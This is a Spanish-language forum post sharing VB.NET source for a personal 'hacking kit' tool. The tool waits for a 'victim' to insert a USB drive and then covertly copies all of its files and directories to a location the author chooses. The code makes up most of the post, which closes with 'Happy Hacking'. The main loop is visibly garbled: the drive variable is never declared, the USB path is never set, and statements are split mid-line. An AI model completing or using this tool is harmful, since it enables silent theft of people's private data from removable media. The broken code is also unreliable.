Buenas para quien me lea,
estoy desarrollando unas herramientas para un kit de Hacking propio, y bueno se me ocurrió que cuando la "víctima" introdujera una memoria extraíble (USB) en el PC podrían copiarse los archivos y directorios completamente a la ruta que yo quiera.
Ha funcionado mejor de lo que esperaba, que gusto da trabajar con el Framework de .NET
Al lío:
el programa se ejecuta y cae en un Bucle que se repite infinitas veces hasta que el usuario conecte una llave USB al PC. En cuanto se realiza tal acción se produce una copia de archivos y directorios de dicha llave USB. Los datos son guardados en la carpeta actual del directorio de la solución del proyecto (Debug/...)
Os dejo el código, no está terminado, falta pulirlo por bastantes partes pero lo esencial lo cumple.
Espero que os sirva...
Source:
Imports Microsoft.VisualBasic.FileIO
Module Interceptar
Private Sub Interceptar_Archivos(ByVal Ruta_USB As String)
Dim Archivos As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetFiles(Ruta_USB)
For Each Ruta_Archivo As String In Archivos
Dim Archivo As String = Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1)
Console.WriteLine(Ruta_Archivo.Substring(Ruta_Archivo.LastIndexOf("\") + 1))
FileSystem.CopyFile(Ruta_Archivo, CurDir() & "\Carpeta\" & Archivo)
Next
End Sub
Private Sub Interceptar_Carpetas(ByVal Ruta_USB As String)
Dim Directorios As System.Collections.ObjectModel.ReadOnlyCollection(Of String) = FileSystem.GetDirectories(Ruta_USB)
For Each Ruta_Directorio As String In Directorios
Console.WriteLine(Ruta_Directorio)
Dim Directorio As String = Ruta_Directorio.Substring(Ruta_Directorio.LastIndexOf("\"))
FileSystem.CreateDirectory(CurDir() + Directorio)
FileSystem.CopyDirectory(Ruta_Directorio, CurDir() + Directorio)
Next
End Sub
Sub Main()
Console.WriteLine("--Interceptar Archivos/Directorios USB--")
Dim Ruta_USB As String = Nothing
While Ruta_USB = Nothing
If drive.
IsReady = True And drive.
DriveType = IO.
DriveType.
Removable Then Console.WriteLine("Se encontro un dispositivo USB")
Console.
WriteLine(drive.
Name) Try
Interceptar_Archivos(Ruta_USB)
Interceptar_Carpetas(Ruta_USB)
Catch ex As Exception
End Try
End If
Next
End While
Console.Read()
End Sub
End Module
Happy Hacking